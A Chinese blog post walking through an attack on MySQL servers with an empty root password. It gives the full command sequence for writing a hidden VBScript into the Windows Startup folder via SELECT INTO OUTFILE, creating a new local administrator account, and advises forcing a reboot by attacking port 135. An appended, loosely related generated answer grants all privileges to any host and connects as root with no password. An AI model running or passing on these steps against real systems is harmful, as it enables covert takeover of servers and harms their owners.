MYSQL用户root密码为空又一攻击方法

本文介绍了利用MySQL服务器创建VBS脚本获取服务器管理员权限的方法。包括连接MySQL服务器、查看数据库和数据表、创建新表、插入内容、输出表为VBS脚本文件等步骤,还说明了使用VBS脚本的原因是可隐藏窗口且无错误提示。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前天,我发了一张关于MYSQL用户ROOT密码为空的贴,在网上我也找到一些利用此漏洞的方法,一般就是写一个ASP或PHP的后门,不仅很麻烦,而且还要猜解网站的目录,如果对方没有开IIS,那我们岂不没办法了??
后来,自己思索想到一个办法,在我测试的几台有此漏洞的机中均获得了成功,现将我的攻击方法公布如下:

1、连接到对方MYSQL 服务器
mysql -u root -h 192.168.0.1
mysql.exe 这个程序在你安装了MYSQL的的BIN目录中
2、让我们来看看服务器中有些什么数据库
mysql>show databases;
MYSQL默认安装时会有MYSQL、TEST这两个数据库,如果你看到有其它的数据库那么就是用户自建的数据库。
3、让我们进入数据库
mysql>use test;
我们将会进入test数据库中
4、查看我们进入数据库中有些什么数据表
mysql>show tables;
默认的情况下,test中没有任何表的存在。
以下为关键的部分
5、在TEST数据库下创建一个新的表;
mysql>create table a (cmd text);
好了,我们创建了一个新的表,表名为a,表中只存放一个字段,字段名为cmd,为text文本。
6、在表中插入内容
mysql>insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user zjl317 zjl317 /add"",0) " );
mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators zjl317 /add"",0) " );
注意双引号和括号以及后面的“0”一定要输入!我们将用这三条命令来建立一个VBS的脚本程序!
7、好了,现在我们来看看表a中有些什么
mysql>select * from a;
我们将会看到表中有三行数据,就是我们刚刚输入的内容,确认你输入的内容无误后,我们来到下一步
8、输出表为一个VBS的脚本文件
mysql>select * from a into outfile "c://docume~1//alluse~1//「开始」菜单//程序//启动//a.vbs";
我们把我们表中的内容输入到启动组中,是一个VBS的脚本文件!注意“/"符号。
9、看到这大家肯定知道了,就是利用MYSQL输出一个可执行的文件而已。为什么不用BAT呢,因为启动运行时会有明显的DOS窗口出来,而用VBS脚本则可以完全隐藏窗口且不会有错误提示!本来,应该还有一句完成脚本后自动删除此脚本的,但是中文目录实在无法处理,只有作罢!好了,找个工具攻击135让服务器重启吧,几分钟以后你就是管理员了。




文本


原作者:lztei

### MySQL 查询中密码匹配但结果为的原因分析 在 MySQL 中执行 `SELECT` 查询时,如果密码匹配却返回结果,可能涉及多个方面的问题。以下是可能导致此现象的主要原因及其解决方案: #### 1. **MySQL 版本差异** 自 MySQL 8.0 起,`PASSWORD()` 函数已被废弃[^3]。这意味着如果你尝试通过该函数验证密码,则可能会导致不致的结果。例如,在旧版 MySQL 中可以正常工作的查询逻辑,在新版中会失效。 解决方法: 应改用更现代的方式存储和校验密码。可以通过 `ALTER USER` 或者直接更新 `mysql.user` 表来实现密码管理操作[^2]。 #### 2. **用户权限配置错误** 即使输入的用户名和密码正确无误,但如果用户的访问权限未被正确定义或者受限于特定主机地址(如 `'user'@'localhost'`),那么即便认证成功也可能无法检索到预期数据[^4]。 检查命令如下所示: ```sql SHOW GRANTS FOR 'your_user_name'@'host'; ``` 必要时重新授予适当权限给目标账户: ```sql GRANT ALL PRIVILEGES ON *.* TO 'username'@'%' IDENTIFIED BY 'password' WITH GRANT OPTION; FLUSH PRIVILEGES; ``` #### 3. **SQL 注入防护机制的影响** 某些情况下,为了防止 SQL 注入攻击,默认安全策略会对敏感字段施加额外约束条件。这或许解释了为何尽管提供了合法凭证仍得不到任何记录反馈的现象[^5]。 建议做法是在设计应用程序接口时遵循最佳实践原则——始终采用参数化查询而非拼接字符串方式构建动态 SQL 句子;另外还可以考虑启用二进制日志功能以便追踪异常行为的发生过程。 --- ### 示例代码片段展示如何正确处理此类场景下的身份验证流程 假设我们有个简单的表结构用于保存注册过的账号信息: | id | username | password_hash | |--|--|--| | 1 | admin | $argon2id$v=19$m=6...| 下面给出段 Python 程序演示怎样利用 Argon2 加密算法完成登录检验工作而不会遇到上述提到的各种麻烦事. ```python import pymysql from argon2 import PasswordHasher def authenticate(username, provided_password): connection = pymysql.connect(host='localhost', user='root', passwd='', # Replace with actual root passsword. db='test_db') cursor = connection.cursor() query = """SELECT password_hash FROM users WHERE username=%s""" try: cursor.execute(query,(username,)) result_set = cursor.fetchone() if not result_set or len(result_set)==0 : return False stored_password_hash=result_set[0] ph = PasswordHasher() is_validated=False try: is_validated=ph.verify(stored_password_hash ,provided_password ) except Exception as e: print(e) finally: del(ph) return is_validated finally: connection.close() if __name__ == '__main__': res=authenticate('admin','correcthorsebatterystaple') print(res) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值